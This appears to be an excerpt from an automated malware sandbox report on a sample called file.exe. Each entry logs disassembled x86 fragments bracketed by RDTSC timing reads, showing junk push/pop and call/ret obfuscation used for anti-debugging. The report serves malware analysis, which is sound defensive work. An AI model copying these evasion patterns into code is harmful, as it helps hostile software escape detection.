                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D1B15 second address: 5D1B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jne 00007F5A14B6C849h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D580F second address: 5D5840 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F5A147D6A48h 0x0000000c jmp 00007F5A147D6A2Dh 0x00000011 jmp 00007F5A147D6A35h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D5840 second address: 5D5848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D6043 second address: 5D6056 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D74F0 second address: 5D74F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D74F4 second address: 5D74F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D75D2 second address: 5D75D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D7C06 second address: 5D7C0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D8277 second address: 5D827B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D8327 second address: 5D832D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D832D second address: 5D8331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D84A8 second address: 5D84B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jo 00007F5A147D6A26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D84B9 second address: 5D84C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D84C2 second address: 5D84C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D85E5 second address: 5D85FC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5A14B6C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D85FC second address: 5D8621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b mov esi, dword ptr [ebp+122D1831h] 0x00000011 xchg eax, ebx 0x00000012 push esi 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D8B56 second address: 5D8B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D9589 second address: 5D95A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5A147D6A34h 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D95A6 second address: 5D95AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 597485 second address: 5974B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007F5A147D6A30h 0x0000000c jmp 00007F5A147D6A35h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5DBB38 second address: 5DBB3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5DC4C1 second address: 5DC4C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5DD03A second address: 5DD03E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5DCD67 second address: 5DCD6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5DDAA5 second address: 5DDB22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F5A14B6C838h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 movzx edi, ax 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007F5A14B6C838h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 mov edi, dword ptr [ebp+122D2BC7h] 0x0000004b push 00000000h 0x0000004d sub dword ptr [ebp+122D3BD8h], ecx 0x00000053 and edi, 05CDC9F1h 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push esi 0x0000005d jng 00007F5A14B6C836h 0x00000063 pop esi 0x00000064 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5DF1AC second address: 5DF1BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A147D6A2Eh 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5DF1BE second address: 5DF1C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5DEF13 second address: 5DEF41 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5A147D6A35h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5A147D6A31h 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5DF1C2 second address: 5DF24F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F5A14B6C838h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 mov di, A276h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007F5A14B6C838h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 mov di, dx 0x00000046 mov edi, dword ptr [ebp+1247209Ch] 0x0000004c push 00000000h 0x0000004e mov esi, dword ptr [ebp+122D2BDBh] 0x00000054 xchg eax, ebx 0x00000055 push ecx 0x00000056 jmp 00007F5A14B6C849h 0x0000005b pop ecx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F5A14B6C83Ch 0x00000066 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5DF24F second address: 5DF261 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5DF261 second address: 5DF267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5DF267 second address: 5DF26B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E1D3E second address: 5E1D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5A14B6C847h 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E1D5E second address: 5E1D64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E1D64 second address: 5E1D68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E22D5 second address: 5E22D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E22D9 second address: 5E2368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F5A14B6C836h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F5A14B6C83Ch 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F5A14B6C838h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f cmc 0x00000030 or bx, 564Ah 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F5A14B6C838h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 0000001Bh 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 cld 0x00000052 push 00000000h 0x00000054 mov edi, dword ptr [ebp+1245E2E7h] 0x0000005a xchg eax, esi 0x0000005b push ecx 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F5A14B6C846h 0x00000063 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E2535 second address: 5E2540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E350F second address: 5E351D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E351D second address: 5E3521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E5412 second address: 5E5426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F5A14B6C83Ch 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E5426 second address: 5E54C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub bx, ABC6h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F5A147D6A28h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 sub dword ptr [ebp+122D2031h], eax 0x0000003d mov eax, dword ptr [ebp+122D0D95h] 0x00000043 mov ebx, dword ptr [ebp+124485D6h] 0x00000049 adc di, 8A00h 0x0000004e push FFFFFFFFh 0x00000050 push 00000000h 0x00000052 push ebx 0x00000053 call 00007F5A147D6A28h 0x00000058 pop ebx 0x00000059 mov dword ptr [esp+04h], ebx 0x0000005d add dword ptr [esp+04h], 00000018h 0x00000065 inc ebx 0x00000066 push ebx 0x00000067 ret 0x00000068 pop ebx 0x00000069 ret 0x0000006a mov dword ptr [ebp+122D2031h], edx 0x00000070 mov dword ptr [ebp+122D1E86h], edx 0x00000076 nop 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b jnc 00007F5A147D6A26h 0x00000081 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E72B4 second address: 5E72B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E54C8 second address: 5E54CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E72B8 second address: 5E72C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E54CE second address: 5E54E0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007F5A147D6A26h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E72C1 second address: 5E72CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E54E0 second address: 5E54E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E72CD second address: 5E72D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5EE221 second address: 5EE22B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F5A147D6A26h 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5ED468 second address: 5ED472 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5A14B6C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5EF128 second address: 5EF12F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5EA378 second address: 5EA42D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007F5A14B6C849h 0x0000000c nop 0x0000000d mov edi, esi 0x0000000f push dword ptr fs:[00000000h] 0x00000016 sbb bx, C4D0h 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F5A14B6C838h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c mov eax, dword ptr [ebp+122D02BDh] 0x00000042 adc di, 2CF7h 0x00000047 push FFFFFFFFh 0x00000049 call 00007F5A14B6C849h 0x0000004e cmc 0x0000004f pop ebx 0x00000050 sub edi, dword ptr [ebp+122D2A7Fh] 0x00000056 nop 0x00000057 jno 00007F5A14B6C842h 0x0000005d push eax 0x0000005e pushad 0x0000005f push ecx 0x00000060 jmp 00007F5A14B6C841h 0x00000065 pop ecx 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 popad 0x0000006a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5EA42D second address: 5EA431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F01B7 second address: 5F01C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F0380 second address: 5F0392 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnp 00007F5A147D6A26h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F33CD second address: 5F33E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F33E6 second address: 5F33EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F150A second address: 5F150E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F33EA second address: 5F3417 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A37h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F5A147D6A26h 0x00000015 jo 00007F5A147D6A26h 0x0000001b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F3417 second address: 5F3421 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5A14B6C836h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F7444 second address: 5F7448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F7448 second address: 5F7455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F7455 second address: 5F7475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A147D6A34h 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F7475 second address: 5F747B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F747B second address: 5F748E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5A147D6A26h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F748E second address: 5F7493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F7493 second address: 5F74AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A33h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5F74AB second address: 5F74B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5FE81F second address: 5FE823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5FE823 second address: 5FE829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5FE829 second address: 5FE82E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5FE82E second address: 5FE834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 59AAB3 second address: 59AAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 59AAB9 second address: 59AABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 59AABF second address: 59AAEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F5A147D6A28h 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F5A147D6A2Ch 0x00000012 jns 00007F5A147D6A28h 0x00000018 push esi 0x00000019 je 00007F5A147D6A26h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5FDF69 second address: 5FDF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5FE3BB second address: 5FE3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 603D61 second address: 603D80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jnc 00007F5A14B6C836h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 js 00007F5A14B6C838h 0x00000019 push esi 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 603D80 second address: 603DA1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F5A147D6A2Ah 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007F5A147D6A28h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 603E75 second address: 603E7F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5A14B6C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 608D4C second address: 608D51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6081E4 second address: 608201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F5A14B6C841h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
